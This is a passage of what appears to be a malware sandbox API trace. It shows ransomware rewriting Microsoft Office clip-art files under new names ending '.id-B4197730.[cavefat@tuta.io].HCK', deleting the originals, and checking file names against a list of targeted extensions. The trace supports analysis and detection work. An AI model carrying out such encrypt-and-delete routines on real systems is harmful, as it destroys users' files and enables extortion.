hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00289_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00289_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.385] GetLastError () returned 0x0 [0180.385] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xd8e0, lpOverlapped=0x0) returned 1 [0180.388] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xd8f0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xd8f0, lpOverlapped=0x0) returned 1 [0180.389] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.389] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.389] SetEndOfFile (hFile=0x370) returned 1 [0180.391] CloseHandle (hObject=0x370) returned 1 [0180.393] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.393] SetEndOfFile (hFile=0x2fc) returned 1 [0180.397] CloseHandle (hObject=0x2fc) returned 1 [0180.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00289_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.401] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00289_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00289_.wmf")) returned 1 [0180.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00289_.WMF") returned 68 [0180.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00289_.WMF") returned 68 [0180.405] lstrlenW (lpString=".doc") returned 4 [0180.405] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.405] lstrlenW (lpString=".docx") returned 5 [0180.405] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.405] lstrlenW (lpString=".pdf") returned 4 [0180.406] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.406] lstrlenW (lpString=".xls") returned 4 [0180.406] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.406] lstrlenW (lpString=".xlsx") returned 5 [0180.406] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.406] lstrlenW (lpString=".ppt") returned 4 [0180.406] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00289_.WMF") returned 68 [0180.406] lstrlenW (lpString=".zip") returned 4 [0180.406] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.406] lstrlenW (lpString=".rar") returned 4 [0180.406] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.406] lstrlenW (lpString=".bz2") returned 4 [0180.406] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.406] lstrlenW (lpString=".7z") returned 3 [0180.406] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00289_.WMF") returned 68 [0180.406] lstrlenW (lpString=".dbf") returned 4 [0180.406] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00289_.WMF") returned 68 [0180.406] lstrlenW (lpString=".1cd") returned 4 [0180.406] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00289_.WMF") returned 68 [0180.406] lstrlenW (lpString=".jpg") returned 4 [0180.406] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00289_.WMF") returned 68 [0180.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00289_.WMF") returned 68 [0180.406] lstrlenW (lpString=".doc") returned 4 [0180.406] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.406] lstrlenW (lpString=".docx") returned 5 [0180.406] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.406] lstrlenW (lpString=".pdf") returned 4 [0180.406] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.406] lstrlenW (lpString=".xls") returned 4 [0180.406] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.406] lstrlenW (lpString=".xlsx") returned 5 [0180.406] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.406] lstrlenW (lpString=".ppt") returned 4 [0180.406] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00289_.WMF") returned 68 [0180.406] lstrlenW (lpString=".zip") returned 4 [0180.406] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.406] lstrlenW (lpString=".rar") returned 4 [0180.407] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.407] lstrlenW (lpString=".bz2") returned 4 [0180.407] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.407] lstrlenW (lpString=".7z") returned 3 [0180.407] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00289_.WMF") returned 68 [0180.407] lstrlenW (lpString=".dbf") returned 4 [0180.407] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00289_.WMF") returned 68 [0180.407] lstrlenW (lpString=".1cd") returned 4 [0180.407] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00289_.WMF") returned 68 [0180.407] lstrlenW (lpString=".jpg") returned 4 [0180.407] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.407] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.407] lstrlenW (lpString="SO00345_.WMF") returned 12 [0180.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00345_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00345_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.412] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=35734) returned 1 [0180.412] CloseHandle (hObject=0x2fc) returned 1 [0180.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00345_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00345_.wmf")) returned 0x220 [0180.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00345_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00345_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00345_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00345_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.416] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.416] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00345_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00345_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.421] GetLastError () returned 0x0 [0180.422] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x8b96, lpOverlapped=0x0) returned 1 [0180.424] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x8ba0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x8ba0, lpOverlapped=0x0) returned 1 [0180.425] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.425] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.425] SetEndOfFile (hFile=0x370) returned 1 [0180.428] CloseHandle (hObject=0x370) returned 1 [0180.431] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.431] SetEndOfFile (hFile=0x2fc) returned 1 [0180.434] CloseHandle (hObject=0x2fc) returned 1 [0180.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00345_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.436] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00345_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00345_.wmf")) returned 1 [0180.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00345_.WMF") returned 68 [0180.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00345_.WMF") returned 68 [0180.438] lstrlenW (lpString=".doc") returned 4 [0180.438] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.438] lstrlenW (lpString=".docx") returned 5 [0180.438] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.438] lstrlenW (lpString=".pdf") returned 4 [0180.438] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.438] lstrlenW (lpString=".xls") returned 4 [0180.438] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.438] lstrlenW (lpString=".xlsx") returned 5 [0180.438] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.438] lstrlenW (lpString=".ppt") returned 4 [0180.438] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00345_.WMF") returned 68 [0180.438] lstrlenW (lpString=".zip") returned 4 [0180.438] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.438] lstrlenW (lpString=".rar") returned 4 [0180.438] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.438] lstrlenW (lpString=".bz2") returned 4 [0180.438] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.438] lstrlenW (lpString=".7z") returned 3 [0180.438] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00345_.WMF") returned 68 [0180.439] lstrlenW (lpString=".dbf") returned 4 [0180.439] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00345_.WMF") returned 68 [0180.439] lstrlenW (lpString=".1cd") returned 4 [0180.439] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00345_.WMF") returned 68 [0180.439] lstrlenW (lpString=".jpg") returned 4 [0180.439] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00345_.WMF") returned 68 [0180.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00345_.WMF") returned 68 [0180.439] lstrlenW (lpString=".doc") returned 4 [0180.439] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.439] lstrlenW (lpString=".docx") returned 5 [0180.439] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.439] lstrlenW (lpString=".pdf") returned 4 [0180.439] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.439] lstrlenW (lpString=".xls") returned 4 [0180.439] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.439] lstrlenW (lpString=".xlsx") returned 5 [0180.439] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.439] lstrlenW (lpString=".ppt") returned 4 [0180.439] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00345_.WMF") returned 68 [0180.439] lstrlenW (lpString=".zip") returned 4 [0180.439] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.439] lstrlenW (lpString=".rar") returned 4 [0180.439] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.439] lstrlenW (lpString=".bz2") returned 4 [0180.439] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.439] lstrlenW (lpString=".7z") returned 3 [0180.439] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00345_.WMF") returned 68 [0180.439] lstrlenW (lpString=".dbf") returned 4 [0180.439] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00345_.WMF") returned 68 [0180.439] lstrlenW (lpString=".1cd") returned 4 [0180.439] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00345_.WMF") returned 68 [0180.439] lstrlenW (lpString=".jpg") returned 4 [0180.439] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.440] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.440] lstrlenW (lpString="SO00373_.WMF") returned 12 [0180.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00373_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00373_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.442] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=13064) returned 1 [0180.442] CloseHandle (hObject=0x368) returned 1 [0180.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00373_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00373_.wmf")) returned 0x220 [0180.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00373_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00373_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00373_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00373_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.449] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.449] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00373_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00373_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.452] GetLastError () returned 0x0 [0180.452] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x3308, lpOverlapped=0x0) returned 1 [0180.454] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x3310, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x3310, lpOverlapped=0x0) returned 1 [0180.455] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.455] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.455] SetEndOfFile (hFile=0x300) returned 1 [0180.456] CloseHandle (hObject=0x300) returned 1 [0180.456] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.456] SetEndOfFile (hFile=0x3a4) returned 1 [0180.456] CloseHandle (hObject=0x3a4) returned 1 [0180.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00373_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.457] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00373_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00373_.wmf")) returned 1 [0180.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00373_.WMF") returned 68 [0180.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00373_.WMF") returned 68 [0180.458] lstrlenW (lpString=".doc") returned 4 [0180.458] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.458] lstrlenW (lpString=".docx") returned 5 [0180.458] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.459] lstrlenW (lpString=".pdf") returned 4 [0180.459] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.459] lstrlenW (lpString=".xls") returned 4 [0180.459] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.459] lstrlenW (lpString=".xlsx") returned 5 [0180.459] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.459] lstrlenW (lpString=".ppt") returned 4 [0180.459] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00373_.WMF") returned 68 [0180.459] lstrlenW (lpString=".zip") returned 4 [0180.459] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.459] lstrlenW (lpString=".rar") returned 4 [0180.459] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.459] lstrlenW (lpString=".bz2") returned 4 [0180.459] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.459] lstrlenW (lpString=".7z") returned 3 [0180.459] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00373_.WMF") returned 68 [0180.459] lstrlenW (lpString=".dbf") returned 4 [0180.459] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00373_.WMF") returned 68 [0180.459] lstrlenW (lpString=".1cd") returned 4 [0180.459] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00373_.WMF") returned 68 [0180.459] lstrlenW (lpString=".jpg") returned 4 [0180.459] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00373_.WMF") returned 68 [0180.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00373_.WMF") returned 68 [0180.459] lstrlenW (lpString=".doc") returned 4 [0180.459] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.459] lstrlenW (lpString=".docx") returned 5 [0180.459] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.459] lstrlenW (lpString=".pdf") returned 4 [0180.459] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.459] lstrlenW (lpString=".xls") returned 4 [0180.459] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.459] lstrlenW (lpString=".xlsx") returned 5 [0180.459] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.459] lstrlenW (lpString=".ppt") returned 4 [0180.459] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00373_.WMF") returned 68 [0180.459] lstrlenW (lpString=".zip") returned 4 [0180.459] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.459] lstrlenW (lpString=".rar") returned 4 [0180.459] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.459] lstrlenW (lpString=".bz2") returned 4 [0180.459] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.459] lstrlenW (lpString=".7z") returned 3 [0180.459] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00373_.WMF") returned 68 [0180.459] lstrlenW (lpString=".dbf") returned 4 [0180.459] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00373_.WMF") returned 68 [0180.460] lstrlenW (lpString=".1cd") returned 4 [0180.460] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00373_.WMF") returned 68 [0180.460] lstrlenW (lpString=".jpg") returned 4 [0180.460] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.460] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.460] lstrlenW (lpString="SO00390_.WMF") returned 12 [0180.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00390_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.463] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=2940) returned 1 [0180.463] CloseHandle (hObject=0x370) returned 1 [0180.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00390_.wmf")) returned 0x220 [0180.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00390_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00390_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0180.467] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.467] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00390_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00390_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 